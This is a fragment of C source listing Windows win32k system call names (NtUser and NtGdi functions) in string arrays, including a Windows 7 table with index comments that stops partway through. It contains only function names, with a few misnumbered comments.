"NtUserSetAppImeLevel\"\r\n\t,\"NtUserSetCapture\"\r\n\t,\"NtUserSetClassLong\"\r\n\t,\"NtUserSetClassWord\"\r\n\t,\"NtUserSetClipboardData\"\r\n\t,\"NtUserSetClipboardViewer\"\r\n\t,\"NtUserSetConsoleReserveKeys\"\r\n\t,\"NtUserSetCursor\"\r\n\t,\"NtUserSetCursorContents\"\r\n\t,\"NtUserSetCursorIconData\"\r\n\t,\"NtUserSetDbgTag\"\r\n\t,\"NtUserSetFocus\"\r\n\t,\"NtUserSetImeHotKey\"\r\n\t,\"NtUserSetImeInfoEx\"\r\n\t,\"NtUserSetImeOwnerWindow\"\r\n\t,\"NtUserSetInformationProcess\"\r\n\t,\"NtUserSetInformationThread\"\r\n\t,\"NtUserSetInternalWindowPos\"\r\n\t,\"NtUserSetKeyboardState\"\r\n\t,\"NtUserSetLogonNotifyWindow\"\r\n\t,\"NtUserSetMenu\"\r\n\t,\"NtUserSetMenuContextHelpId\"\r\n\t,\"NtUserSetMenuDefaultItem\"\r\n\t,\"NtUserSetMenuFlagRtoL\"\r\n\t,\"NtUserSetObjectInformation\"\r\n\t,\"NtUserSetParent\"\r\n\t,\"NtUserSetProcessWindowStation\"\r\n\t,\"NtUserSetProp\"\r\n\t,\"NtUserSetRipFlags\"\r\n\t,\"NtUserSetScrollInfo\"\r\n\t,\"NtUserSetShellWindowEx\"\r\n\t,\"NtUserSetSysColors\"\r\n\t,\"NtUserSetSystemCursor\"\r\n\t,\"NtUserSetSystemMenu\"\r\n\t,\"NtUserSetSystemTimer\"\r\n\t,\"NtUserSetThreadDesktop\"\r\n\t,\"NtUserSetThreadLayoutHandles\"\r\n\t,\"NtUserSetThreadState\"\r\n\t,\"NtUserSetTimer\"\r\n\t,\"NtUserSetWindowFNID\"\r\n\t,\"NtUserSetWindowLong\"\r\n\t,\"NtUserSetWindowPlacement\"\r\n\t,\"NtUserSetWindowPos\"\r\n\t,\"NtUserSetWindowRgn\"\r\n\t,\"NtUserSetWindowsHookAW\"\r\n\t,\"NtUserSetWindowsHookEx\"\r\n\t,\"NtUserSetWindowStationUser\"\r\n\t,\"NtUserSetWindowWord\"\r\n\t,\"NtUserSetWinEventHook\"\r\n\t,\"NtUserShowCaret\"\r\n\t,\"NtUserShowScrollBar\"\r\n\t,\"NtUserShowWindow\"\r\n\t,\"NtUserShowWindowAsync\"\r\n\t,\"NtUserSoundSentry\"\r\n\t,\"NtUserSwitchDesktop\"\r\n\t,\"NtUserSystemParametersInfo\"\r\n\t,\"NtUserTestForInteractiveUser\"\r\n\t,\"NtUserThunkedMenuInfo\"\r\n\t,\"NtUserThunkedMenuItemInfo\"\r\n\t,\"NtUserToUnicodeEx\"\r\n\t,\"NtUserTrackMouseEvent\"\r\n\t,\"NtUserTrackPopupMenuEx\"\r\n\t,\"NtUserCalcMenuBar\"\r\n\t,\"NtUserPaintMenuBar\"\r\n\t,\"NtUserTranslateAccelerator\"\r\n\t,\"NtUserTranslateMessage\"\r\n\t,\"NtUserUnhookWindowsHookEx\"\r\n\t,\"NtUserUnhookWinEvent\"\r\n\t,\"NtUserUnloadKeyboardLayout\"\r\n\t,\"NtUserUnlockWindowStation\"\r\n\t,\"NtUserUnregisterClass\"\r\n\t,\"NtUserUnregisterUserApiHook\"\r\n\t,\"NtUserUnregisterHotKey\"\r\n\t,\"NtUserUpdateInputContext\"\r\n\t,\"NtUserUpdateInstance\"\r\n\t,\"NtUserUpdateLayeredWindow\"\r\n\t,\"NtUserGetLayeredWindowAttributes\"\r\n\t,\"NtUserSetLayeredWindowAttributes\"\r\n\t,\"NtUserUpdatePerUserSystemParameters\"\r\n\t,\"NtUserUserHandleGrantAccess\"\r\n\t,\"NtUserValidateHandleSecure\"\r\n\t,\"NtUserValidateRect\"\r\n\t,\"NtUserValidateTimerCallback\"\r\n\t,\"NtUserVkKeyScanEx\"\r\n\t,\"NtUserWaitForInputIdle\"\r\n\t,\"NtUserWaitForMsgAndEvent\"\r\n\t,\"NtUserWaitMessage\"\r\n\t,\"NtUserWin32PoolAllocationStats\"\r\n\t,\"NtUserWindowFromPoint\"\r\n\t,\"NtUserYieldTask\"\r\n\t,\"NtUserRemoteConnect\"\r\n\t,\"NtUserRemoteRedrawRectangle\"\r\n\t,\"NtUserRemoteRedrawScreen\"\r\n\t,\"NtUserRemoteStopScreenUpdates\"\r\n\t,\"NtUserCtxDisplayIOCtl\"\r\n\t,\"NtGdiEngAssociateSurface\"\r\n\t,\"NtGdiEngCreateBitmap\"\r\n\t,\"NtGdiEngCreateDeviceSurface\"\r\n\t,\"NtGdiEngCreateDeviceBitmap\"\r\n\t,\"NtGdiEngCreatePalette\"\r\n\t,\"NtGdiEngComputeGlyphSet\"\r\n\t,\"NtGdiEngCopyBits\"\r\n\t,\"NtGdiEngDeletePalette\"\r\n\t,\"NtGdiEngDeleteSurface\"\r\n\t,\"NtGdiEngEraseSurface\"\r\n\t,\"NtGdiEngUnlockSurface\"\r\n\t,\"NtGdiEngLockSurface\"\r\n\t,\"NtGdiEngBitBlt\"\r\n\t,\"NtGdiEngStretchBlt\"\r\n\t,\"NtGdiEngPlgBlt\"\r\n\t,\"NtGdiEngMarkBandingSurface\"\r\n\t,\"NtGdiEngStrokePath\"\r\n\t,\"NtGdiEngFillPath\"\r\n\t,\"NtGdiEngStrokeAndFillPath\"\r\n\t,\"NtGdiEngPaint\"\r\n\t,\"NtGdiEngLineTo\"\r\n\t,\"NtGdiEngAlphaBlend\"\r\n\t,\"NtGdiEngGradientFill\"\r\n\t,\"NtGdiEngTransparentBlt\"\r\n\t,\"NtGdiEngTextOut\"\r\n\t,\"NtGdiEngStretchBltROP\"\r\n\t,\"NtGdiXLATEOBJ_cGetPalette\"\r\n\t,\"NtGdiXLATEOBJ_iXlate\"\r\n\t,\"NtGdiXLATEOBJ_hGetColorTransform\"\r\n\t,\"NtGdiCLIPOBJ_bEnum\"\r\n\t,\"NtGdiCLIPOBJ_cEnumStart\"\r\n\t,\"NtGdiCLIPOBJ_ppoGetPath\"\r\n\t,\"NtGdiEngDeletePath\"\r\n\t,\"NtGdiEngCreateClip\"\r\n\t,\"NtGdiEngDeleteClip\"\r\n\t,\"NtGdiBRUSHOBJ_ulGetBrushColor\"\r\n\t,\"NtGdiBRUSHOBJ_pvAllocRbrush\"\r\n\t,\"NtGdiBRUSHOBJ_pvGetRbrush\"\r\n\t,\"NtGdiBRUSHOBJ_hGetColorTransform\"\r\n\t,\"NtGdiXFORMOBJ_bApplyXform\"\r\n\t,\"NtGdiXFORMOBJ_iGetXform\"\r\n\t,\"NtGdiFONTOBJ_vGetInfo\"\r\n\t,\"NtGdiFONTOBJ_pxoGetXform\"\r\n\t,\"NtGdiFONTOBJ_cGetGlyphs\"\r\n\t,\"NtGdiFONTOBJ_pifi\"\r\n\t,\"NtGdiFONTOBJ_pfdg\"\r\n\t,\"NtGdiFONTOBJ_pQueryGlyphAttrs\"\r\n\t,\"NtGdiFONTOBJ_pvTrueTypeFontFile\"\r\n\t,\"NtGdiFONTOBJ_cGetAllGlyphHandles\"\r\n\t,\"NtGdiSTROBJ_bEnum\"\r\n\t,\"NtGdiSTROBJ_bEnumPositionsOnly\"\r\n\t,\"NtGdiSTROBJ_bGetAdvanceWidths\"\r\n\t,\"NtGdiSTROBJ_vEnumStart\"\r\n\t,\"NtGdiSTROBJ_dwGetCodePage\"\r\n\t,\"NtGdiPATHOBJ_vGetBounds\"\r\n\t,\"NtGdiPATHOBJ_bEnum\"\r\n\t,\"NtGdiPATHOBJ_vEnumStart\"\r\n\t,\"NtGdiPATHOBJ_vEnumStartClipLines\"\r\n\t,\"NtGdiPATHOBJ_bEnumClipLines\"\r\n\t,\"NtGdiGetDhpdev\"\r\n\t,\"NtGdiEngCheckAbort\"\r\n\t,\"NtGdiHT_Get8BPPFormatPalette\"\r\n\t,\"NtGdiHT_Get8BPPMaskPalette\"\r\n\t,\"NtGdiUpdateTransform\"\r\n\t,\"NtGdiSetPUMPDOBJ\"\r\n\t,\"NtGdiBRUSHOBJ_DeleteRbrush\"\r\n\t,\"NtGdiUnmapMemFont\"\r\n\t,\"NtGdiDrawStream\"\r\n};\r\n\r\n\r\n\r\n\r\n\r\nCHAR szWin7FunctionName[827][100]=\r\n{\r\n\t\"NtUserGetThreadState\" //0\r\n\t,\"NtUserPeekMessage\" //1\r\n\t,\"NtUserCallOneParam\" //2\r\n\t,\"NtUserGetKeyState\" //3\r\n\t,\"NtUserInvalidateRect\" //4\r\n\t,\"NtUserCallNoParam\" //5\r\n\t,\"NtUserGetMessage\" //6\r\n\t,\"NtUserMessageCall\" //7\r\n\t,\"NtGdiBitBlt\" //8\r\n\t,\"NtGdiGetCharSet\" //9\r\n\t,\"NtUserGetDC\" //10 \r\n\t,\"NtGdiSelectBitmap\"\t\t\t//11\r\n\t,\"NtUserWaitMessage\"\t\t\t//12\r\n\t,\"NtUserTranslateMessage\"\t\t//13\r\n\t,\"NtUserGetProp\"\t\t\t //14\r\n\t,\"NtUserPostMessage\" //15\r\n\t,\"NtUserQueryWindow\" //16\r\n\t,\"NtUserTranslateAccelerator\" //17\r\n\t,\"NtGdiFlush\" //18\r\n\t,\"NtUserRedrawWindow\" //19\r\n\t,\"NtUserWindowFromPoint\" //20\r\n\t,\"NtUserCallMsgFilter\" //21\r\n\t,\"NtUserValidateTimerCallback\" //22\r\n\t,\"NtUserBeginPaint\" //23\r\n\t,\"NtUserSetTimer\" //24\r\n\t,\"NtUserEndPaint\" //25\r\n\t,\"NtUserSetCursor\" //26\r\n\t,\"NtUserKillTimer\" //27\r\n\t,\"NtUserBuildHwndList\" //28\r\n\t,\"NtUserSelectPalette\" //29\r\n\t,\"NtUserCallNextHookEx\" //30 \r\n\t,\"NtUserHideCaret\" //31 \r\n\t,\"NtGdiIntersectClipRect\" //32\r\n\t,\"NtUserCallHwndLock\" //33 \r\n\t,\"NtUserGetProcessWindowStation\"//34\r\n\t,\"NtGdiDeleteObjectApp\" //35\r\n\t,\"NtUserSetWindowPos\" //36\r\n\t,\"NtUserShowCaret\" //37\r\n\t,\"NtUserEndDeferWindowPosEx\" //38\r\n\t,\"NtUserCallHwndParamLock\" //39\r\n\t,\"NtUserVkKeyScanEx\" //40\r\n\t,\"NtGdiSetDIBitsToDeviceInternal\"//41\r\n\t,\"NtUserCallTwoParam\" //42 \r\n\t,\"NtGdiGetRandomRgn\" //43\r\n\t,\"NtUserCopyAcceleratorTable\" //44\r\n\t,\"NtUserNotifyWinEvent\" //45 \r\n\t,\"NtGdiExtSelectClipRgn\" //46 \r\n\t,\"NtUserIsClipboardFormatAvailable\"//47\r\n\t,\"NtUserSetScrollInfo\" //48\r\n\t,\"NtGdiStretchBlt\" //49\r\n\t,\"NtUserCreateCaret\" //50\r\n\t,\"NtGdiRectVisible\" //51\r\n\t,\"NtGdiCombineRgn\" //52\r\n\t,\"NtGdiGetDCObject\" //53\r\n\t,\"NtUserDispatchMessage\" //54\r\n\t,\"NtUserRegisterWindowMessage\" //55\r\n\t,\"NtGdiExtTextOutW\" //56\r\n\t,\"NtGdiSelectFont\" //57\r\n\t,\"NtGdiRestoreDC\" //58\r\n\t,\"NtGdiSaveDC\" //59\r\n\t,\"NtUserGetForegroundWindow\" //60 \r\n\t,\"NtUserShowScrollBar\" //61\r\n\t,\"NtUserFindExistingCursorIcon\" //62\r\n\t,\"NtGdiGetDCDword\"\t\t\t\t//63\r\n\t,\"NtGdiGetRegionData\"\t\t\t//64\t\r\n\t,\"NtGdiLineTo\"\t\t\t\t\t//65\t\r\n\t,\"NtUserSystemParametersInfo\"\t//66\r\n\t,\"NtGdiGetAppClipBox\"\t\t\t//67\r\n\t,\"NtUserGetAsyncKeyState\"\t\t//68\t\r\n\t,\"NtUserGetCPD\"\t\t\t\t\t//69\r\n\t,\"NtUserRemoveProp\"\t\t\t\t//70\r\n\t,\"NtGdiDoPalette\"\t\t\t\t//71\r\n\t,\"NtGdiPolyPolyDraw\" //72\r\n\t,\"NtUserSetCapture\"\t\t\t\t//73\r\n\t,\"NtUserEnumDisplayMonitors\" //74\r\n\t,\"NtGdiCreateCompatibleBitmap\" //75\r\n\t,\"NtUserSetProp\"\t\t\t\t//76\r\n\t,\"NtGdiGetTextCharsetInfo\"\t\t//77\r\n\t,\"NtUserSBGetParms\"\t\t\t\t//78\r\n\t,\"NtUserGetIconInfo\"\t\t\t//79\t\r\n\t,\"NtUserExcludeUpdateRgn\"\t\t//80\r\n\t,\"NtUserSetFocus\"\t\t\t\t//81\r\n\t,\"NtGdiExtGetObjectW\"\t\t\t//82\r\n\t,\"NtUserDeferWindowPos\" //83\r\n\t,\"NtUserGetUpdateRect\"\t\t\t//84\r\n\t,\"NtGdiCreateCompatibleDC\"\t\t//85\r\n\t,\"NtUserGetClipboardSequenceNumber\"//86\r\n\t,\"NtGdiCreatePen\"\t\t\t\t//87\r\n\t,\"NtUserShowWindow\"\t\t\t\t//88\r\n\t,\"NtUserGetKeyboardLayoutList\"\t//89\t\r\n\t,\"NtGdiPatBlt\" //90\r\n\t,\"NtUserMapVirtualKeyEx\"\t\t//91\r\n\t,\"NtUserSetWindowLong\"\t\t\t//92\r\n\t,\"NtGdiHfontCreate\"\t\t\t\t//93\r\n\t,\"NtUserMoveWindow\"\t\t\t\t//94\r\n\t,\"NtUserPostThreadMessage\" //95\r\n\t,\"NtUserDrawIconEx\"\t\t\t\t//96\r\n\t,\"NtUserGetSystemMenu\"\t\t\t//97\r\n\t,\"NtGdiDrawStream\"\t\t\t\t//98\r\n\t,\"NtUserInternalGetWindowText\"\t//99\r\n\t,\"NtUserGetWindowDC\"\t\t\t//100\r\n\t,\"NtGdiD3dDrawPrimitives2\"\t //101\r\n\t,\"NtGdiInvertRgn\"\t\t\t\t//102\r\n\t,\"NtGdiGetRgnBox\"\t\t\t\t//103\r\n\t,\"NtGdiGetAndSetDCDword\"\t\t//104\r\n\t,\"NtGdiMaskBlt\"\t\t\t\t\t//105\r\n\t,\"NtGdiGetWidthTable\"\t\t\t//106\r\n\t,\"NtUserScrollDC\"\t\t\t\t//107\r\n\t,\"NtUserGetObjectInformation\"\t//108\r\n\t,\"NtGdiCreateBitmap\"\t\t\t//109\r\n\t,\"NtUserFindWindowEx\"\t\t\t//110\r\n\t,\"NtGdiPolyPatBlt\"\t\t\t\t//111\r\n\t,\"NtUserUnhookWindowsHookEx\"\t//112\t\r\n\t,\"NtGdiGetNearestColor\"\t\t\t//113\r\n\t,\"NtGdiTransformPoints\"\t\t\t//114\r\n\t,\"NtGdiGetDCPoint\"\t\t\t\t//115\r\n\t,\"NtGdiCreateDIBBrush\"\t\t\t//116\r\n\t,\"NtGdiGetTextMetricsW\" //117 \r\n\t,\"NtUserCreateWindowEx\"\t\t\t//118\r\n\t,\"NtUserSetParent\"\t\t\t\t//119\r\n\t,\"NtUserGetKeyboardState\"\t\t//120\t\r\n\t,\"NtUserToUnicodeEx\"\t\t\t//121\r\n\t,\"NtUserGetControlBrush\"\t\t//122\r\n\t,\"NtUserGetClassName\"\t\t\t//123\r\n\t,\"NtGdiAlphaBlend\"\t\t\t\t//124\r\n\t,\"NtGdiDdBlt\"\t\t\t //125\r\n\t,\"NtGdiOffsetRgn\"\t\t\t\t//126\r\n\t,\"NtUserDefSetText\"\t\t\t\t//127\r\n\t,\"NtGdiGetTextFaceW\"\t\t\t//128\r\n\t,\"NtGdiStretchDIBitsInternal\"\t//129\t\r\n\t,\"NtUserSendInput\"\t\t\t\t//130\r\n\t,\"NtUserGetThreadDesktop\"\t\t//131\r\n\t,\"NtGdiCreateRectRgn\"\t\t\t//132\r\n\t,\"NtGdiGetDIBitsInternal\"\t\t//133\r\n\t,\"NtUserGetUpdateRgn\"\t\t\t//134\r\n\t,\"NtGdiDeleteClientObj\"\t\t\t//135\r\n\t,\"NtUserGetIconSize\"\t\t\t//136\r\n\t,\"NtUserFillWindow\"\t\t\t\t//137\r\n\t,\"NtGdiExtCreateRegion\"\t\t\t//138\r\n\t,\"NtGdiComputeXformCoefficients\"//139\r\n\t,\"NtUserSetWindowsHookEx\"\t\t//140\r\n\t,\"NtUserNotifyProcessCreate\"\t//141\t\r\n\t,\"NtGdiUnrealizeObject\"\t\t\t//142\r\n\t,\"NtUserGetTitleBarInfo\"\t\t//143\r\n\t,\"NtGdiRectangle\"\t\t\t\t//144\r\n\t,\"NtUserSetThreadDesktop\"\t\t//145\t\r\n\t,\"NtUserGetDCEx\"\t\t\t\t//146\r\n\t,\"NtUserGetScrollBarInfo\" //147\r\n\t,\"NtGdiGetTextExtent\"\t\t\t//148\r\n\t,\"NtUserSetWindowFNID\"\t\t\t//149\r\n\t,\"NtGdiSetLayout\"\t\t\t\t//150\r\n\t,\"NtUserCalcMenuBar\"\t\t\t//151\r\n\t,\"NtUserThunkedMenuItemInfo\"\t//152\t\r\n\t,\"NtGdiExcludeClipRect\"\t\t\t//153\r\n\t,\"NtGdiCreateDIBSection\"\t\t//154\r\n\t,\"NtGdiGetDCforBitmap\"\t\t\t//155\r\n\t,\"NtUserDestroyCursor\"\t\t\t//156\r\n\t,\"NtUserDestroyWindow\"\t\t\t//157\r\n\t,\"NtUserCallHwndParam\" //158\r\n\t,\"NtGdiCreateDIBitmapInternal\" //159 \r\n\t,\"NtUserOpenWindowStation\" //160\r\n\t,\"NtGdiDdDeleteSurfaceObject\" //161\r\n\t,\"NtGdiDdCanCreateSurface\" //162 \r\n\t,\"NtGdiDdCreateSurface\" //163\r\n\t,\"NtUserSetCursorIconData\" //164\r\n\t,\"NtGdiDdDestroySurface\" //165\r\n\t,\"NtUserCloseDesktop\"\t\t\t//166\r\n\t,\"NtUserOpenDesktop\" //167 \r\n\t,\"NtUserSetProcessWindowStation\"//168 \r\n\t,\"NtUserGetAtomName\" //169\r\n\t,\"NtGdiDdResetVisrgn\" //170\r\n\t,\"NtGdiExtCreatePen\" //171 \r\n\t,\"NtGdiCreatePaletteInternal\" //172 \r\n\t,\"NtGdiSetBrushOrg\" //173\r\n\t,\"NtUserBuildNameList\" //174\r\n\t,\"NtGdiSetPixel\" //175\r\n\t,\"NtUserRegisterClassExWOW\" //176 \r\n\t,\"NtGdiCreatePatternBrushInternal\"//177\r\n\t,\"NtUserGetAncestor\" //178\r\n\t,\"NtGdiGetOutlineTextMetricsInternalW\"//179\r\n\t,\"NtGdiSetBitmapBits\" //180\r\n\t,\"NtUserCloseWindowStation\" //181 \r\n\t,\"NtUserGetDoubleClickTime\" //182\r\n\t,\"NtUserEnableScrollBar\" //183\r\n\t,\"NtGdiCreateSolidBrush\" //184 \r\n\t,\"NtUserGetClassInfoEx\" //185\r\n\t,\"NtGdiCreateClientObj\"\t\t //186\t\r\n\t,\"NtUserUnregisterClass\" //187\r\n\t,\"NtUserDeleteMenu\"\t\t\t //188\t\r\n\t,\"NtGdiRectInRegion\"\t\t\t//189\r\n\t,\"NtUserScrollWindowEx\"\t\t\t//190\r\n\t,\"NtGdiGetPixel\" //191\r\n\t,\"NtUserSetClassLong\" //192 \r\n\t,\"NtUserGetMenuBarInfo\" //193\r\n\t,\"NtGdiDdCreateSurfaceEx\" //195\r\n\t,\"NtGdiDdCreateSurfaceObject\" //195\r\n\t,\"NtGdiGetNearestPaletteIndex\" //196\r\n\t,\"NtGdiDdLockD3D\" //197\r\n\t,\"NtGdiDdUnlockD3D\" //198\r\n\t,\"NtGdiGetCharWidthW\" //199\r\n\t,\"NtUserInvalidateRgn\" //200\r\n\t,\"NtUserGetClipboardOwner\" //201 \r\n\t,\"NtUserSetWindowRgn\" //202 \r\n\t,\"NtUserBitBltSysBmp\" //203\r\n\t,\"NtGdiGetCharWidthInfo\" //204 \r\n\t,\"NtUserValidateRect\" //205 \r\n\t,\"NtUserCloseClipboard\" //206\r\n\t,\"NtUserOpenClipboard\" //207\r\n\t,\"NtGdiGetStockObject\" //208 \r\n\t,\"NtUserSetClipboardData\" //209\r\n\t,\"NtUserEnableMenuItem\" //210\r\n\t,\"NtUserAlterWindowStyle\" //211\r\n\t,\"NtGdiFillRgn\" //212\r\n\t,\"NtUserGetWindowPlacement\" //213 \r\n\t,\"NtGdiModifyWorldTransform\" //214\r\n\t,\"NtGdiGetFontData\" //215\r\n\t,\"NtUserGetOpenClipboardWindow\" //216\r\n\t,\"NtUserSetThreadState\" //217\r\n\t,\"NtGdiOpenDCW\" //218\r\n\t,\"NtUserTrackMouseEvent\" //219 \r\n\t,\"NtGdiGetTransform\" //220\r\n\t,\"NtUserDestroyMenu\" //221\r\n\t,\"NtGdiGetBitmapBits\" //222\r\n\t,\"NtUserConsoleControl\" //223 \r\n\t,\"NtUserSetActiveWindow\" //224\r\n\t,\"NtUserSetInformationThread\" //225\r\n\t,\"NtUserSetWindowPlacement\" //226 \r\n\t,\"NtUserGetControlColor\" //227\r\n\t,\"NtGdiSetMetaRgn\" //228\r\n\t,\"NtGdiSetMiterLimit\" //229\r\n\t,\"NtGdiSetVirtualResolution\" //230\r\n\t,\"NtGdiGetRasterizerCaps\" //231\r\n\t,\"NtUserSetWindowWord\" //232\r\n\t,\"NtUserGetClipboardFormatName\" //233\r\n\t,\"NtUserRealInternalGetMessage\" //234 \r\n\t,\"NtUserCreateLocalMemHandle\" //235\r\n\t,\"NtUserAttachThreadInput\" //236\r\n\t,\"NtGdiCreateHalftonePalette\" //237\r\n\t,\"NtUserPaintMenuBar\" //238\r\n\t,\"NtUserSetKeyboardState\" //239\r\n\t,\"NtGdiCombineTransform\" //240 \r\n\t,\"NtUserCreateAcceleratorTable\" //241\r\n\t,\"NtUserGetCursorFrameInfo\" //242\r\n\t,\"NtUserGetAltTabInfo\" //243\r\n\t,\"NtUserGetCaretBlinkTime\" //244\r\n\t,\"NtGdiQueryFontAssocInfo\" //245\r\n\t,\"NtUserProcessConnect\" //246\r\n\t,\"NtUserEnumDisplayDevices\" //247 \r\n\t,\"NtUserEmptyClipboard\" //248\r\n\t,\"NtUserGetClipboardData\" //249\r\n\t,\"NtUserRemoveMenu\" //250\r\n\t,\"NtGdiSetBoundsRect\" //251\r\n\t,\"NtGdiGetBitmapDimension\" //252\r\n\t,\"NtUserConvertMemHandle\" //253\r\n\t,\"NtUserDestroyAcceleratorTable\"//254 \r\n\t,\"NtUserGetGUIThreadInfo\" //255\r\n\t,\"NtGdiCloseFigure\" //256\r\n\t,\"NtUserSetWindowsHookAW\" //257 \r\n\t,\"NtUserSetMenuDefaultItem\" //258 \r\n\t,\"NtUserCheckMenuItem\" //259\r\n\t,\"NtUserSetWinEventHook\" //260\r\n\t,\"NtUserUnhookWinEvent\" //261\r\n\t,\"NtUserLockWindowUpdate\" //262 \r\n\t,\"NtUserSetSystemMenu\" //263\r\n\t,\"NtUserThunkedMenuInfo\" //264\r\n\t,\"NtGdiBeginPath\" //265\r\n\t,\"NtGdiEndPath\" //266\r\n\t,\"NtGdiFillPath\" //267\r\n\t,\"NtUserCallHwnd\" //268\r\n\t,\"NtUserDdeInitialize\" //269\r\n\t,\"NtUserModifyUserStartupInfoFlags\"//270 \r\n\t,\"NtUserCountClipboardFormats\" //271 \r\n\t,\"NtGdiAddFontMemResourceEx\" //272\r\n\t,\"NtGdiEqualRgn\" //273\r\n\t,\"NtGdiGetSystemPaletteUse\" //274\r\n\t,\"NtGdiRemoveFontMemResourceEx\" //275 \r\n\t,\"NtUserEnumDisplaySettings\" //276\r\n\t,\"NtUserPaintDesktop\" //277 \r\n\t,\"NtGdiExtEscape\" //278\r\n\t,\"NtGdiSetBitmapDimension\" //279 \r\n\t,\"NtGdiSetFontEnumeration\" //280\r\n\t,\"NtUserChangeClipboardChain\" //281\r\n\t,\"NtUserSetClipboardViewer\" //282\r\n\t,\"NtUserShowWindowAsync\" //283\r\n\t,\"NtGdiCreateColorSpace\" //284\r\n\t,\"NtGdiDeleteColorSpace\" //285\r\n\t,\"NtUserActivateKeyboardLayout\" //286 \r\n\t,\"NtGdiAbortDoc\" //287 \r\n\t,\"NtGdiAbortPath\" //288\r\n\t,\"NtGdiAddEmbFontToDC\" //289\r\n\t,\"NtGdiAddFontResourceW\" //290 \r\n\t,\"NtGdiAddRemoteFontToDC\" //291\r\n\t,\"NtGdiAddRemoteMMInstanceToDC\" //292\r\n\t,\"NtGdiAngleArc\" //293\r\n\t,\"NtGdiAnyLinkedFonts\" //294 \r\n\t,\"NtGdiArcInternal\" //295\r\n\t,\"NtGdiBRUSHOBJ_DeleteRbrush\" //296\r\n\t,\"NtGdiBRUSHOBJ_hGetColorTransform\"//297 \r\n\t,\"NtGdiBRUSHOBJ_pvAllocRbrush\" //298 \r\n\t,\"NtGdiBRUSHOBJ_pvGetRbrush\" //299\r\n\t,\"NtGdiBRUSHOBJ_ulGetBrushColor\"//300\r\n\t,\"NtGdiBeginGdiRendering\" //301\r\n\t,\"NtGdiCLIPOBJ_bEnum\" //302 \r\n\t,\"NtGdiCLIPOBJ_cEnumStart\" //303\r\n\t,\"NtGdiCLIPOBJ_ppoGetPath\" //304 \r\n\t,\"NtGdiCancelDC\" //305\r\n\t,\"NtGdiChangeGhostFont\" //306\r\n\t,\"NtGdiCheckBitmapBits\" //307\r\n\t,\"NtGdiClearBitmapAttributes\" //308\r\n\t,\"NtGdiClearBrushAttributes\" //309\r\n\t,\"NtGdiColorCorrectPalette\" //310\r\n\t,\"NtGdiConfigureOPMProtectedOutput\"//311\r\n\t,\"NtGdiConvertMetafileRect\" //312 \r\n\t,\"NtGdiCreateBitmapFromDxSurface\"//313\r\n\t,\"NtGdiCreateColorTransform\" //314\r\n\t,\"NtGdiCreateEllipticRgn\" //315 \r\n\t,\"NtGdiCreateHatchBrushInternal\" //316\r\n\t,\"NtGdiCreateMetafileDC\" //317\r\n\t,\"NtGdiCreateOPMProtectedOutputs\"//318 \r\n\t,\"NtGdiCreateRoundRectRgn\" //319\r\n\t,\"NtGdiCreateServerMetaFile\" //320\r\n\t,\"NtGdiD3dContextCreate\" //321\r\n\t,\"NtGdiD3dContextDestroy\" //322\r\n\t,\"NtGdiD3dContextDestroyAll\" //323 \r\n\t,\"NtGdiD3dValidateTextureStageState\"//324 \r\n\t,\"NtGdiDDCCIGetCapabilitiesString\"//325\r\n\t,\"NtGdiDDCCIGetCapabilitiesStringLength\"//326\r\n\t,\"NtGdiDDCCIGetTimingReport\" //327\r\n\t,\"NtGdiDDCCIGetVCPFeature\" //328\r\n\t,\"NtGdiDDCCISaveCurrentSettings\" //329\r\n\t,\"NtGdiDDCCISetVCPFeature\" //330\r\n\t,\"NtGdiDdAddAttachedSurface\" //331\r\n\t,\"NtGdiDdAlphaBlt\" //332\r\n\t,\"NtGdiDdAttachSurface\" //333\r\n\t,\"NtGdiDdBeginMoCompFrame\" //334\r\n\t,\"NtGdiDdCanCreateD3DBuffer\" //335\r\n\t,\"NtGdiDdColorControl\" //336\r\n\t,\"NtGdiDdCreateD3DBuffer\" //337\r\n\t,\"NtGdiDdCreateDirectDrawObject\" //338\r\n\t,\"NtGdiDdCreateFullscreenSprite\" //339 \r\n\t,\"NtGdiDdCreateMoComp\" //340\r\n\t,\"NtGdiDdDDIAcquireKeyedMutex\" //341\r\n\t,\"NtGdiDdDDICheckExclusiveOwnership\"//342\r\n\t,\"NtGdiDdDDICheckMonitorPowerState\"//343 \r\n\t,\"NtGdiDdDDICheckOcclusion\" //344\r\n\t,\"NtGdiDdDDICheckSharedResourceAccess\"//345\r\n\t,\"NtGdiDdDDICheckVidPnExclusiveOwnership\"//346\r\n\t,\"NtGdiDdDDICloseAdapter\" //347\r\n\t,\"NtGdiDdDDIConfigureSharedResource\"//348\r\n\t,\"NtGdiDdDDICreateAllocation\" //349\r\n\t,\"NtGdiDdDDICreateContext\" //350\r\n\t,\"NtGdiDdDDICreateDCFromMemory\" //351\r\n\t,\"NtGdiDdDDICreateDevice\" //352\r\n\t,\"NtGdiDdDDICreateKeyedMutex\" //353\r\n\t,\"NtGdiDdDDICreateOverlay\" //354\r\n\t,\"NtGdiDdDDICreateSynchronizationObject\"//355\r\n\t,\"NtGdiDdDDIDestroyAllocation\" //356\r\n\t,\"NtGdiDdDDIDestroyContext\" //357\r\n\t,\"NtGdiDdDDIDestroyDCFromMemory\" //358\r\n\t,\"NtGdiDdDDIDestroyDevice\" //359\r\n\t,\"NtGdiDdDDIDestroyKeyedMutex\" //360\r\n\t,\"NtGdiDdDDIDestroyOverlay\" //361 \r\n\t,\"NtGdiDdDDIDestroySynchronizationObject\"//362\r\n\t,\"NtGdiDdDDIEscape\"\t\t\t\t //363\r\n\t,\"NtGdiDdDDIFlipOverlay\" //364\r\n\t,\"NtGdiDdDDIGetContextSchedulingPriority\"//365\r\n\t,\"NtGdiDdDDIGetDeviceState\" //366\r\n\t,\"NtGdiDdDDIGetDisplayModeList\" //357\r\n\t,\"NtGdiDdDDIGetMultisampleMethodList\"//368\r\n\t,\"NtGdiDdDDIGetOverlayState\" //369\r\n\t,\"NtGdiDdDDIGetPresentHistory\" //370\r\n\t,\"NtGdiDdDDIGetPresentQueueEvent\"//371\r\n\t,\"NtGdiDdDDIGetProcessSchedulingPriorityClass\"//372\r\n\t,\"NtGdiDdDDIGetRuntimeData\" //373\r\n\t,\"NtGdiDdDDIGetScanLine\" //374\r\n\t,\"NtGdiDdDDIGetSharedPrimaryHandle\"//375\r\n\t,\"NtGdiDdDDIInvalidateActiveVidPn\"//376 \r\n\t,\"NtGdiDdDDILock\" //377\r\n\t,\"NtGdiDdDDIOpenAdapterFromDeviceName\"//378\r\n\t,\"NtGdiDdDDIOpenAdapterFromHdc\" //379\r\n\t,\"NtGdiDdDDIOpenKeyedMutex\" //380\r\n\t,\"NtGdiDdDDIOpenResource\" 